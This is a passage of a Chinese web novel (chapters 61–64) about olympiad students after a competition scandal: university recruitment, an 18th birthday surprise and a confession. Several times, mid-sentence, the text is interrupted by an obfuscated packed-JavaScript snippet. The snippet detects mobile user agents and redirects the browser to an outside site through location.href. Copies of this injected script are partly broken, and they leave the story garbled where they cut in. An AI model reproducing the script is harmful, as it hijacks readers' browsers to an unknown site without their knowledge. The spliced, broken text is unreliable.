唐瑜嫣听见他温柔地说,如天主降世,在圣光中,淡淡宣布,“世人无罪。” “我们……没有吗?”她怔住了,目光微滞,低声呢喃:“是啊,本来就是,我们又回到了原点。” 白茫茫,软绵绵,空荡荡,所有人都得到了应有的惩罚,一切似乎都回到了正轨,激烈的情绪回回旋旋,连释放都失去了合适的由头。 “那我的荣誉呢,宋哥,我的金牌呢?”段辰爆发出更激烈的哭嚎。 他的眼睛早就肿了,但他还在哭,哭啊哭,鼻涕眼泪糊弄到一块,“我的金牌回不来了!小唐的金牌回不来了!展姐的金牌也回不来了!我好难过好难过!” “很遗憾,是这样。”宋飞珑轻轻说,“我去问了组委会,他们说ab卷都是创新题,重考没有意义。” “小段,无论是你,我,还是测试题目的大学生,出题看题的教授,我们都是普通人,谁都没有特权,我们只是在做各自日常的事情。” “但站得位置高了,你的小小举动可能就成了影响别人生活的大事。他改题,他认为这是好事,反刷题,让更多的学生有机会爬上来。” “那些校长想让自己的孩子们能拿到更好的成绩,于是找了相应的教授。补课的教授大义,认为有新消息就不应该瞒着自己的学生。” “没有谁想专门害人,站在不同立场,要做不同的事。但是我们得为自己的行为负责。” “……各位,想哭就哭吧,等明天的太阳升起,请不要吝于享受属于这两年努力的成果。”宋飞珑吐出肺里的那口气。 “啧,哭哭哭,哭什么哭啊!晦气得要命,把福气都给哭没了!” 听完他这一大堆类似于“人之初,性本善”的废话,展妙咬牙切齿地抹了一把脸,用尽全身力气转身扇了段辰一巴掌,又拽起呆滞沉默的唐瑜嫣。 她在沉默中爆发宣誓:“被人看扁了就去把场子找回来,明天找不回来就在强基里找回来,强基找不回来就在高考里找回来!这狗日的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406509|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧合!我们又不是失败者!躺在这里哭也太难看了!难看到爆了!” “小展你……” “………展姐?” “…………………?” 火辣的痛感在他脸上蔓延,段辰后知后觉地抬起手——草,好痛,怎么这么痛,压过了身上一切内源之痛苦。 “……展姐,我的下巴好像脱臼了。”他木着脸闷闷吐字,“下次能对受害者同胞的脸颊下手轻一点吗?” 这声音听起来活像泡在水里的砂石,又混沌又沙哑,配上肿成猪头的脸颊和眼眶,但凡从他身边经过的人,都忍不住想往他面前的碗里扔俩币。 “这么倒霉的事遇一次就够了,难道你还想有下次?”展妙严厉地批评,“明天都给我拗捣干净再出门,我不想和流浪汉一起去见招生老师!” “……我没有,我不是流浪汉。”段辰吞吞吐吐。 “啧,你自己照照镜子,这阴沉的死样,我都快分不清你是被晒黑了还是黑眼圈横跨大半张脸了!哎呀,不吃了!回去睡觉!” 展妙拍板定案,把宋飞珑踹去付钱后,左右手各拎一个,风风火火地冲出了烧烤店。 “?”那位刚刚还在开讲坛的大儒顿时有些哭笑不得,这是想开了还是彻底疯了?大抵应当是前者吧,毕竟有道是破而后立,不破不立。 他刷完卡,转身走出这炭火聚香、人声鼎沸的烧烤摊。 “你们……?”他拉开车门,侧身准备询问。 “天城路乐平小区7单元,不谢。” “宋哥,我家在青源菜市场北北叉烧饭楼上,麻烦你了……” “槐安路,你知道在哪。” “……行,”宋飞珑快被口水呛到,回答得如此迅速,这群小兔崽子还真把自己当司机了,“不要忘记明天……算了我来接你们吧。” 这才是积极进取的态度,比小唐和小段主动多了!展妙满意地点点头,眼里重新盛上星星点点。 发动机带动车身轻颤,在这长长的夜路上,这一方小盒子如月亮床般轻轻摇曳。于寂寥中,段辰渐渐平静下来,他怀里抱着矿泉水瓶,小口小口地润着喉。 唐瑜嫣望向远方的夜空。前日久雨,湿气缠绵,难得今夜月明星稀,或许,明天必定是个艳阳天。 艳…艳阳吗? “哎哟,这位小段同学,你这脸软组织急性挫伤后血管破裂渗出了吧!啧啧啧,这颞下颌关节脱位的角度太棒了,完美符合0.618黄金比例。” 在高校自主招生会场里,几个头发花白的老教授围着段辰转圈圈,指着他红肿的脸颊啧啧称道,“好想切开看看里面长什么样……哎哟,我开玩笑的!” 见这脸肿得形状奇佳的小伙子露出惊悚的表情,其中一位山羊胡须不由分说地给他塞了一沓宣传单,嘿嘿一笑,“小伙子,来学医啊,你的天赋都写到脸上了!” “怎么不说话,学医很好的,铁饭碗,我们学校还有附属医院,出来包分配,就是可能你得去考个强基的分,”那老头自说自话,“没事,只要你考了,我保证把你招进我实验室,一路读到博!” “哎呀,这么好的事,小伙子,你还在犹豫什么,赶快报名啊!” 这如同入室抢劫般的招生把段辰吓得魂都飞了一半,他默默退出去看了一眼——上面确实写着高校自主招生大会场,而不是某缅北电子商务集团。 顶着这帮老教授火热的眼神,过了大半晌,段辰才从嘴里挤出一句:“……可是我怕鬼,切菜切得稀烂,情绪也不稳定……” “哎哟,这都是可以后天培养的嘛!”山羊胡须贼笑着装神弄鬼,“我看过你外培的卷子,概念部分写得跟专业书原文一模一样,我们医学就需要这种缜密的背书奇才!” 61. 第 61 章 “小唐,恭喜,我看到你获奖的消息了。”听见熟悉的声音,唐瑜嫣惊讶地回头,年初给他们做外部培训的化学教授正挥手向她打招呼。 与段辰刚跨进门就被扫地老僧团团围住后的无措不同,她连着转了好几个学校的摊位,横向对比了老半天,还是没找到自己心仪的方向。 这也不怪人家,主要是唐瑜嫣自个儿挑剔得不行,对着合同鸡蛋里挑骨头。 她不大想现在就签直博的协议,万一进的项目组不吃香,不给退不给转,一条夜路走到黑,中途想退连本科毕业证都拿不到,这跟签了卖身契又什么区别。 同时,她更不想签化学专业,这专业不像宋飞珑他们化工,学的基本都是理论知识,就业面太窄了,读几年出来都不知道能干什么,回铁山当化学老师吗? 招生老师们第一次见有如此雷点的奇葩,一时半会儿既不好同意也不好拒绝,于是眼睛一转就开始打哈哈。 他们很有默契地表示,你可以先签我们这儿,进了学校以后一切都好商量,我们学校基础设施好,教学条件优越,其中某某校区还在市中心,此类云云。 “我要先签了协议,被随便忽悠进了学校,那不全由你说得算了,还有我商量的空间?”唐瑜嫣在心里吐槽,“谁不知道你们这些学校的尿性,只有招生的时候吹得最漂亮!” “还扯什么学校排名高,学习氛围浓厚,周围都是各行各业的顶尖人才跟你一起进步,构建更优秀的交际圈。” 她随意地翻了翻彩印的宣传册,嘴角忍不住抽搐,“学历和人品有关系吗?传奇军事学家麦克阿瑟还是高材生呢,你怎么不说跟他一起去过圣诞节。” 看了一圈她是彻底厌倦了,于是大手一挥,喊着友谊啊,羁绊啊,更重要的是组织信任你啊,一把将跟着她转来转去的宋飞珑推到了舞台最中心,让他选好了之后再给她过目,然后自己拍拍屁股找了个好位置缩着摸鱼了。 没想到这角落里竟出现了另一个来挤占她生态位的人! “感谢您,黄教授,承蒙厚爱……您也是来招生的?”唐瑜嫣主动开口寒暄。 “唔,是啊,今年很多好苗子,”黄志平笑呵呵地看着她,“你们学校那段辰同学,被李老他们围着问呢。” “既然如此,小唐,那我也问你一句,你想不想进我的项目组?我们组在江浙沪那头还是有几分名气的!你来了我包你科研就业!”他骄傲地挺起胸。 唐瑜嫣沉默了一会儿,话里带着犹豫,“黄老师,很感谢您的特别邀约,但我没做过科研,未来可能不一定会对科研感兴趣,我可能得在上大学的时候感受一下,再做决定。” “小唐,你有创新能力,也有毅力,你很适合干我们这一行……”黄教授对她的回复很是惊讶,居然会有人不接这种世俗意义上的香饽饽。 “等上大学之后,你再想保研考研可就困难多了,你可以多考虑一下……” 那可不,不像中学每个班里都有摆烂的少爷,比例排名多少掺点水分。大学里全是一群刷题能力旗鼓相当的疯狂做题家,平均分零点几零点几的差,卷到最后还得比谁和老师关系好,谁水来的志愿时长多。 黄志平心想,这姑娘绝对拉不下脸去帮那群辅导员小年轻端茶送水拉表格送文件,不如一步到位,省去谄媚的时间。 “黄教授,我的人生志向很匮乏,没有那么多的科研梦,我更希望能先享受我的人生。”唐瑜嫣诚实地回答,“我学竞赛只是为了能走到更高更远的地方。” “我不能确定以后的我会怎么想,但到目前为止,我认为读本科已经足够满足我的精神需求。” “小唐,你跟我的那些学生都不同,”听她这么解释完,黄志平沉默了许久,最后颇有感慨地笑着摇头。 他说:“我收到过成千上万的套瓷信,其中每一封都写满了科研兴趣浓厚,希望我能考虑考虑他们。” “但实际上,我们实验室进进出出过那么多学生,我早就能看出,他们对做实验探真理并没有兴趣,也并不爱好这一行,他们只爱我给他们开的学术证明,还有通过这份证明换取的更多价值。” “小唐,我很看好你,无论如何,我都希望你能接受我的邀请。” “……这样吧,”黄志平越讲心理越不得劲,怎么自己好不容易主动招揽个学生,学生还不乐意!想到此,他大手一挥,夸下海口。 “小唐,我要定你这个学生了!我现在就去帮你跟学校申请,保留你读研名额,你要是想读,大四的时候可以递交申请,不想读,就直接毕业,如何?天底下你找不到比这更有诚意的合同了!” “我才走了不到半个小时,你就被别人忽悠着签上了合同?”宋飞珑难以置信地来回晃动她的肩膀,“哪个王八蛋敢从我眼皮子底下欺负人!你等等,让我找找漏洞,我要让明女士起诉他!” “你冷静点,冷静点!”唐瑜嫣摁住他逐渐抽疯的上臂,“我没有被骗,人家……” “小唐,你知道什么是阴阳合同吗,那种没良心的家伙随随便便把你糊弄得倾家荡产。”宋飞珑眉毛一扬,向她张牙舞爪道。 去帮唐瑜嫣印附件的黄志平一回来就听到了此等诋毁,面色严肃:“咳咳……你说谁没良心?要起诉谁?” 咳咳,总之木已成舟,此后种种就不做过多赘述。不过是同在江浙沪,黄教授和宋飞珑组的大老板相互认识。 这俩一撮合,非说要整顿实验室,严厉制裁隔三岔五请大假的偷懒行为,然后把此政策的第一面向者扣在了学校,没发表一篇一区一作不许踏出校园一步。 回去之后,一切似乎就这样尘埃落定。 唐瑜嫣他们也收拾铺盖,从住了两年的竞赛部搬回了高考教学楼,三人班别不同,拿牌后选择的路不同,上楼时最近的楼梯口也不尽相同。 于是,站在教学楼下,唐瑜嫣的脑海里莫名浮现出了“分道扬镳”这四个字。 她不禁有些伤春悲秋。啧,那以后,他们中午还要一起吃饭吗? 也不是别的,就是他们教室离得太远,方向更是东西南北,废那么大劲找人,食堂都快空一半了,还轮得到他们上桌? 算了,大不了大家一起啃菜梆子,总不能就这么散了吧。放以前也算半个退伍老战友了,那前几天吃那顿是不是能叫老兵烧烤?她无厘头地想。 “……小唐?小唐?记得哦,明天一起吃饭!”展妙一手一个大袋子,背上还负了个大书包,“你来找我吧!我们教室离食堂近一点!”说完她就不见了人影,真是强买强卖啊强买强卖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406510|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >你问再后来?再后来也没什么好说的了。 高考复习,全国一个样,全是精神上的国宝,身体上的熊猫,睡不够,学不完,一个赛一个面色憔悴,连扫脸的校园系统都要打量几分钟才放行。 不仅学生焦虑,家长更焦虑,围着自家孩子,急得团团转,想尽了办法,就想帮孩子多减轻负担。 可脱离教育这么多年,课本都改了好几版,你指望他们去写出现在的题?抓耳挠腮大半天,最后悻悻然写个解,就这水平,还是别瞎忙活了。 于是他们改为做菜,做一大桌子菜,让孩子多吃吃,多补补,什么补脑买什么,什么护肝做什么,不知不觉间又给自家孩子平添了不少压力,谁想在衣食住行方面都被高考腌入味啊! 不过此等焦虑就轮不到唐瑜嫣享受了,她已经完成了属于她的finalexam,如今是该吃吃该睡睡,时不时跑到展妙班里听听她背夏商周唐宋元明清,马毛科三习思想,日子过得平淡且惬意。 直到某一天,某个平平无奇的冬日中午,她合上手中的课外书,准备出门去找展妙吃饭。 南方夏暑长,冬湿冷,一年到头没几天秋高气爽。十一月复赛时,火气旺的少年单穿短袖都嫌闷热,没想到转眼间十二月初的寒风一刮,羽绒服都挡不住透骨的湿气。 教室里理所应当地开了空调,她出门一呼气,热气瞬间变成了空气中的一道白雾,将她的视线挡了个全。 好在气体中的分子束缚力弱,雾气不出片刻便四散开来,一个脑袋随即在后头显现出来。 唐瑜嫣被这人如闪电般的靠近吓到,下意识地惊呼:“同学你走路……” 但那人或许是患了间歇性耳聋,叽里咕噜说啥呢,一个字儿也没听进去。 他闭着眼睛抬起手,直接打断唐瑜嫣:“你就是唐瑜嫣唐同学是吧,有人托我给你送张贺卡,并祝你生日快乐!” 如雄狮宣誓般念完祝福语,这送信工没有半刻留恋,脚尖一顶,转身拔腿就跑,看起来怕极了德育处领导抓他早恋。 “?同学你怎么跑了?我还不知道你是谁啊!” 唐瑜嫣一脸震惊地看着他的背影,内心还沉浸在那人的神秘行为中,下一秒,第二封信又被递了上来。 这次是个声音又细又温柔的姑娘,她露出暖融融地笑容,真挚地祝福道:“小唐同学,心想事成啊,祝你不止过生日,每天都要幸福。” “小唐,今年十八,发发发发发!” “愿你初心不忘,走出半生,归来依旧是少年!” “未来事业顺利,家庭和美!” ……前两个人送完后,一走廊的特务像收到了什么接头信号,齐齐从各个角落跳出来,向她手里疯狂塞贺卡,左手拿不下了就往右手塞,双手挤满了就往羽绒服的帽子里转移。 唐瑜嫣顿时感觉自己重了二十几斤,惊讶得一个字儿也蹦不出。 不过比起思考负重前行,她更想知道,为什么这么多不认识的同学上来就给她塞贺卡啊!她想感谢都念不出名字,他们到底是从哪儿知道她今天过生日的! “唐同学,福如东海,寿比南山,祝你长命百岁,早日飞升。” 震声喊完后,一群好莱坞群演如鸟兽散,留下唐瑜嫣和她被炸离体的魂魄。 62. 第 62 章 “福如东海,寿比南山就算了,什么叫……早日飞升?”唐瑜嫣有些麻木地想,愣愣站在原地。 各位仙人各显神通,驾鹤而去,眼前的走廊于片刻间就成了鬼片片场,站在其中的女主角思忖片刻,决定勇于挑战单人必出事定理。 她随手挑了一张贺卡,将信封轻轻撕开——你别说,这封皮做得还真像那么回事儿,不仅手感好,封口居然还印着不同款式的火漆。 “卖椟还珠!”唐瑜嫣冷哼一声,手腕却放缓力度,将贺卡完好无损地请出来。 “向所有的烦恼说拜拜~向所有的快乐说嗨嗨!亲爱的!生日快乐!”欢快又中气十足的音乐从小纸卡上流淌出来,一瞬间将贺卡主人溺得晕头转向。 ——好熟悉的声音,还是大合唱。里面绝对有颗老鼠屎,从头跑调跑到尾! “生日快乐啊小唐!”展妙从拐角处跳出来,从上往下淋了她一头彩带,亮片飘在空中,唰啦啦地闪,“恭喜你成为成年世界里最小的小朋友!” “生日快乐!哎哟,快快快,我手好抖,小唐你先吹蜡烛!”段辰双手捧了个小蛋糕,“师母做的,老陈倾情赞助!有机奶油,他们家萨摩耶吃了都不拉肚子!” “许愿,先许愿!”展妙匆匆打断唐瑜嫣的动作,“许完愿后还要唱生日歌呢!刚刚那版太难听了!” “啧,还未来的医学博士呢!捧个蛋糕都手抖,真要是病床上躺了个人,你敢拿起手术刀吗!”她又嫌弃地看向段辰,“到时候还要病人哄你,不疼的,小手术,睡一觉就过去了,什么也感受不到的吗?” “我,我在练了!”段辰的脸一下红成了猪肝色,“这个月我已经看完了十几部鬼片了!我现在已经学会了如何分析厉鬼技能!不触犯到规则,他们是不会伤人的!” “哈?要是病人被你推进太平间,他不找你找谁?再说,又不是所有病患家属都能平静面对家人离世的,到时候你家门口全是刀片!”展妙一通乱七八糟地恐吓,“大体老师的魂混上福尔马林的香气就盯着你追!” “不可能,我家门口只会出现妙手回春,怀仁济世,高风亮术凌杏林!”段辰信誓旦旦地否定。 “愿望吗?”在他俩的吵嘴声中,唐瑜嫣缓缓闭上眼,“可是我现在已经很幸福了,无需再苛求再多……” “如果可以的话,我希望宋飞珑的理想与善良永存,能够亲手建起心中所想的乌托邦;希望展姐的勇气始终澎湃,仗剑逍遥游四方;希望段辰的努力与细心不被辜负,悬壶济世,中西合修。” “我恳求时间的眷顾,请走慢一点,再慢一些,慢一点将我们分开,即使我知道,我们各有志向,山高路远,注定各奔东西。” 唐瑜嫣睁开眼,暖黄的烛火在奶油蛋糕顶端微微摇曳,展妙和段辰唱起了双人大合唱,刹那间,她突然有些恍然,“啊,我竟然已经十八岁了。” “可是今天和昨天并没有什么区别,我没有遭遇家破人亡,没有收到魔法学院的入学信,没有绑定逆袭系统,没有被天雷洗礼得道飞升。我只是往前轻轻迈了一步,如此普通又平凡。” “小唐,老宋说他请不到早上的假,得半夜才能回来,”在唐瑜嫣切下第一块蛋糕时,展妙有些遗憾地告诉她,“不过这些贺卡都装了有声芯片,你无聊的话可以挨个听一遍,他说等你听完他就回来了。” “……”唐瑜嫣看着手中的蛋糕,颇为不满道:“啧,那这块是我自己的了。他也不打个电话过来,这么没诚意。” “竞赛结束后咱们的手机就被收了啊!”段辰愣了愣,“小唐你……” “被收了他就不能自己想办法吗。”唐瑜嫣理所应当地反驳,“他忽悠一大堆人把我塞成语音信箱算怎么个事?” 其实她也不知道为什么,自己如此在意宋飞珑没有及时出现这件事。或许是这几年每一件大事的发生,他总会出现在自己身边,她已经习惯任何的起承转合都有对方参与,他不能也不允许迟到。 “不是忽悠,是贿赂。”展妙闻言认真地解释,“他帮我们偷渡了一大箱泡面进来,一人发一包,这可是小卖部都没有的硬通货。相信我,小唐,他诚意十足!” 好吧,看在泡面的面子上,唐瑜嫣勉强接受了这个颇有诚意的狡辩,并选择在晚自习的时候恶意出逃,躲在操场的角落挨个聆听。 没想到贺卡的内容鱼龙混杂,质量更是良莠不齐。 有简约土气的直接抒情。 ——“小唐,爸爸妈妈都很爱你!” ——“小唐,爷爷奶奶也爱你!” 还有复杂土气的借物喻人。 ——“小唐啊,生日快乐!陈老师嘴笨,说不出什么好听的话,对着屏幕讲话也怪尴尬的……” “总之,等你高考完,欢迎你来陈老师家做客!让师母给你烧好吃的番茄炖牛腩,哦,还有,提前打个预防针,我们家的萨摩耶见人就扑!” 随贺卡附赠了一句狗叫:“汪汪,汪汪汪汪!”唐瑜嫣大概翻译了一下,估计是“老陈,你说的对!”的意思。 最吓人的当然还是老盛的慈祥祝愿。 ——“小唐,满十八岁了啊!让盛老师猜猜,你是不是又在晚自习的时候躲在角落里偷着看了?别摇头,我猜都猜得到。算了,今天你是寿星,盛老师睁一只眼闭一只眼,明天再找你算账!” 唐瑜嫣日常怀疑老盛真没有多一只天眼在脑门顶吗?怎么哪里都有他,哪哪都是他。 她们班的倒霉同学上课撕个薯片包装都得担心他会不会出现在袋底,扔个纸条更得掂量掂量里面的内容合不合法,合不合规,当众念出来过不过得了群众审核。 听完的贺卡摞成了一座小山,唐瑜嫣拆开了最后一张,也是最特别的一张,由展妙亲手交递而来的“最后 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蹬墙的反作用力立马反馈到她的鞋底,她伸手去够墙顶的装饰物,再次借力将自己拉上去,最后纵身一跃,在重力的加持下猛地砸向了一个柔软的物体——他们一起倒向灌木丛里。 “小唐,我接住你了!”在她身下,宋飞珑被一大堆枝枝杈杈簇拥,笑得神采飞扬。 “你怎么预判到我的位置的?”莫大的惊喜瞬间充斥了唐瑜嫣的大脑,她突然有一大堆话想说,堆积在嘴边却只冒出了句这个。 “我猜你会来操场,全操场只有这一面墙好翻!”宋飞珑摸着树干将两人撑起来,贴心地问:“怎么样?没磕到哪吧?” “是你没磕到哪吧?”唐瑜嫣抬手帮他拍掉身后的枯叶,又仔细打量了他老半天。得亏冬季的羽绒服够厚,把骨肉凡胎包裹得严严实实,这人怎么看都是个没事人。 “没事没事!”宋飞珑像小狗撒欢一样在她旁边跑跑跳跳了好几圈,又给她捡回了已经先行一步的外套,快乐地宣布:“走吧,我们去过十八岁生日!” “是我的十八岁生日,不是你的,”被他牵着手往前走,唐瑜嫣郑重强调,“你还没祝我生日快乐!” “不急,是你的永远也跑不了!十二点之前一定会来的!”宋飞珑扬声道,“我要给你一个永生难忘的回忆!” “来吧,请上车,你是它的第一任副驾驶!” 一辆与周围破土坡、乱稻草格格不入的敞篷跑车猝不及防地出现在唐瑜嫣眼前,红橙相间的喷漆如同烈日里的鲜花,灿烂又炽热, “我去,真的假的?你疯了吧?”唐瑜嫣喃喃自语,“这是什么豪门阔少的泡妞项目……” “什么乱七八糟的!”宋飞珑亲昵地揉揉她的头,“又不是什么几千万的牌子货,我自己装着玩的!” 63. 第 63 章 “不是,你到底哪根筋搭错了,怎么突然搓了一架车出来?”坐在副驾驶位上,唐瑜嫣还是忍不住询问。 “不是突然,它在我家车库吃好久灰了,”宋飞珑露出一个心虚地笑,“明女士说我敢在大路上开,她就敢告我超速行驶。” ——机动车驾驶证科目一,小型私家车超速行驶扣3分,超速同时引发交通事故,从重处罚。一周期内扣满十二分,暂扣驾驶资格证,15日内申请满分学习。 “当时改这车的时候没想这么多……就,你上大学就知道了,咱们工科很多专业都要过一个大名鼎鼎的金工实习,里面有各种各样的古法手艺人匠心制造课,什么徒手锯铁、钻孔电焊这种。” “好巧不巧吧,大二那学期我又有门工程制图,年底企业学习更是去车厂看产线。你看,这简直是天将降大任于斯人也,哪个干部能接受这种考验?” “我脑子一热,就交了份自主改车方案上去当暑期实践开题,然后蹲在车库里玩了两个月拼装小游戏。” “退一万步说,你不觉得这简直酷毙了吗?”宋飞珑眼睛亮闪闪地望着她。 “退一万步说,你不觉得在别人眼里,咱们开这种车配这种码速简直蠢爆了吗?”唐瑜嫣报以关爱智障的眼神。 窗外限速60的指示标瞩目,他们这橙红色的钢铁造物在马路上颇有种年轻人去打折菜市场采购,被各怀绝技的大爷大妈攘得有力使不出的绝望。 “哥们,你这也太逊了吧,好好的赛车给你挪成蜗牛了!”果不其然,这么扎眼的车一定会吸引其他爱来事的中二少年。 俩顶着杀马特的鬼火少年吐着烟圈从他们身边蹿过,其中那只“绿毛龟”还嘲讽地比划了一个中指,“四个轮子还没我们两个轮子跑得快呢!” 可惜他俩掐到了一个没有路怒症的硬柿子,宋飞珑反手挤出一个幼师语气质疑:“两位双轮哥,你们成年了吗?摩托车可跟电单车不一样,它是机动车哦,也是要考驾照的,你们不会是无证驾驶吧?” “靠!关你屁事!老子已经初中毕业了!”这年纪的中二少年最受不了别人的质疑,绿毛龟三两句就被激得气急败坏,连踹了前面的“狮子王”好几脚。 他就纳了闷了,这人怎么开口就戳人痛处,会不会讲话!未成年怎么了,未成年就没王法了吗,我不就少过了俩生日吗! 没想到前面的红毛狮子王比他更不讲道理,被他莫名痛击了几脚之后立马怒火中烧,眼睛一瞪就是认兄弟为仇敌,半分提示不给,油门直接加到底,走了几个“z”字形就把人往地上甩。 正巧此时红绿灯闪烁,宋飞珑又被堵在了白线前,但鬼火少年可不管这么多,人把违反交规当勋章。于是在堪堪几秒之内,这辆超速超得歪七扭八的摩托车就只剩下一路尾气了。 唐瑜嫣看得简直一愣又一愣,想了大半天才挤出一句话:“他的青春我的青春好像不一样。” “要是人人都一样,那世界可就没意思了!”宋飞珑露出一个好脾气的笑,“好了,再忍忍,过了前面那一段就能加速了。” “哎,宋少爷,先别管加不加速,我要问你个事……你说,我比他们多吃了块蛋糕,我就是成年人了?”唐瑜嫣盯着远端的群山,默默开口,“我总感觉轻飘飘的,成年和未成年的界限究竟在哪?” “这个嘛……不同人有不同见解,我也只是代表我个人。” “我感觉就大多未成年人来说,他们想要的是代表成年的那份话语权,大概就是希望能够自由选择自己的生活的权利。”宋飞珑顿了顿,换了一种更为轻松的语调。 “但这伴随着一个问题,话语权并不是由一块蛋糕决定的,更关乎着经济分配,你拿着爸妈给你的生活费,吃他们的用他们的,经济不独立,无论说什么都不硬气,遑论什么自由选择了。” 她不说话,宋飞珑就继续:“当然,除开钱之外,最重要的还有思想,成年了就得为自己的未来负责。你得清楚你是谁,你从哪来,要到哪去,你想过上怎么样的人生。你得明白,自由,从来都是有界限的。” “不过咱俩都比较特殊,平时压根没有感受过什么经济受迫家长质疑,也早就想清楚了自己想做一个什么样的人,从某种程度上也算心智远超同龄人,大可不被这一道坎拘束。” “如果你想真正感受到自己的成长,可能要等到赚到第一桶金,或者独立面对困难与义务的时候了。” “遇到复赛的那种事算吗?”唐瑜嫣突然打断他,“大起大落,人生转折,不公正不平等,但我很难形容出它对我的影响,大概是终于体会到了遗憾?” “也算半件吧!你只进行了消化,还没学会正面处理应对。”宋飞珑解释,“这样,我举个例子,如果让你面对电车难题,你会怎么选。” “为什么要这么问?我认为选哪边都可以,说服自己逻辑自洽就好。”唐瑜嫣回答。 “很好,那如果以后你每一天都要做这些选择呢?你会选择在申请表交上去的前一晚,从背后悄悄举报三年前考试作弊的舍友,让自己获得她保研的名额,还是选择默不作声,自己失去这次机会?” “她作弊了,那就应该举报。”唐瑜嫣理所应当道。 “即使成绩申诉期已经过了?而且她还是你的好朋友?”宋飞珑继续加码。 “那我为什么不在申诉期举报?更何况我不会交这样的朋友。”唐瑜嫣斩钉截铁。 “好吧好吧,等你以后遇到再说吧。”宋飞珑拿她没辙,“你以后总会遇到属于你的电车难题,然后陷入两难的抉择,没有老师和父母的指引,所有的路都得由你自己走。” “那我期待那一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那一瞬间,她彻底分清了友情和爱情,于是她在这片禁声的空间中放声高呼,“宋飞珑,我喜欢你,你听得见吗!” “我听不见。”宋飞珑默默想,“太吵了……小唐在说什么呢?今晚怎么回宿舍?没事,我让她踩在我身上翻回去。” “宋飞珑,我说我好喜欢你,想要和你在一起!”唐瑜嫣继续呐喊,一股脑将心中杂乱的感情吞吐干净,“我希望我的未来里处处是你的身影!” “……今天这么刺激,她该做个好梦了。”宋飞珑那头继续乱七八糟且牛头不对马嘴,“希望她能有一个难忘的十八岁,无论过去多少年,只要一提到生日,都能想起今晚的狂风和一个好为人师的司机。” “希望我能在她心里的地位再重一些……算了,也别太重,白月光和朱砂痣的命都不太好,啊,我还是希望我们能两情相悦啊。” “可我不能太自私,她才十八岁,认识的男性一只手都能数出来,我要给她一个能够对比的机会……” “哈,明年的今天,如果她依旧单身,我就向她表白。”瞟了一眼唐瑜嫣喊倦后闪着光的眼睛,宋飞珑默默决定。 64. 第 64 章 “宋飞珑,合着我喊了那么久,你是真的一个字也没听见!心里这些乱七八糟的事倒想了个全!” “啧,你总是这样,当时这样,现在也这样,口口声声为我好,一讲到感情就拖拖拉拉,如果你当时就说清楚,我也不会……” 这么多年的未解之谜终于在庆功宴上揭晓,唐瑜嫣越说越烦躁,讲到一半还翻了个白眼,“你是不是回避依恋型人格啊?” “我不是,我没有,”宋飞珑真是有苦说不出,“我只是觉得你应该好好考虑情感大事啊,你不觉得我靠年龄信息差获取你的青睐这件事很自私吗?” “可能你当时会觉得很新鲜,但很多事情你以后也会经历。你并不比我差,等你对我的思想彻底祛魅的时候,你还会喜欢我吗?” “事实证明,还是会的,我喜欢的是你这个人。”唐瑜嫣冷哼一声,“你一个大少爷怎么还自卑上了,你还不够独一无二吗!” 听着他俩你一言我一语地吵嘴,周围一圈挂着白色糊状物的“奶油精”终于放弃了相互迫害,眼睛滴溜溜一转,齐齐围过来听故事会。 “小宋,这就是你的不对了,怎么能让姑娘追着你跑呢?”老陈露出一个恨铁不成钢的表情,左手的婚戒有意无意地反射着银光,“想当年我追你师娘的时候,可是翻遍了好几座山,就为了给她递上最新鲜的玫瑰。” “山里有野生玫瑰吗?原来玫瑰不是……人工养殖的吗?”魏浩瞪大了眼,嘴里絮絮叨叨,活像一根既没文化又没眼力见的棒槌,哪儿不需要就往哪儿杵,“我见咱们……” 冯熠立马冲上来糊了他一嘴奶油,恨铁不成钢地大喊:“你懂什么,什么事都能掰扯清楚还能叫爱情吗!不过小唐老师,你当时为什么不下了车再重复几遍?” “因为很羞耻啊!”唐瑜嫣的脸刷地一下全涨红了,“追着男人表白简直蠢爆了好吗!” 抛开宋飞珑听没听见不谈,她可是主动表了那么多次白,再怎么说他也要主动回应一次吧! 况且,等激情褪去之后,突如其来的勇气又莫名龟缩回平淡的躯壳,她突然想起——是了,她还没高考呢,现在谈情说爱似乎为时尚早…… “过段时间再说吧,等我清醒一些。”再次脚踏实地后,唐瑜嫣用手使劲揉搓笑僵了的脸。那股不知名的心虚感渗透各处关节,在五脏六腑疯狂流转,她特意避开了宋飞珑的脸,眼神使劲地与脚尖打照面。 “怎么了?”尚不知晓她心里那些弯弯绕绕的宋飞珑一脸茫然,那时的他还并未练就张口便能读空气的能力。 他默默反思了一大圈,始终不明白,眼前喜欢的姑娘为何态度大变,难道是还没玩够?可是现在已经快十二点了,她该回去休息了。 或者是自己说太多了?也对,所谓的经验之谈远不如她自己的体会。 又或者是,他还没祝她生日快乐…… 思至此,他福至心灵般开口:“小唐,生日快乐!23:57,还没过期!我是最后一个祝你生日快乐的!” “那我先回……”几乎在同时,唐瑜嫣也突然抬头,打算与他道别,说到一半反应过来,语调又转了一大个弯,“啊…啊!谢谢!我会记住的。” “嗯……你还有什么事吗?” “哦哦,没了,应该没了?” “那我就回去了。” “好……”两人各怀心事,一时间,气氛变得有些尴尬。 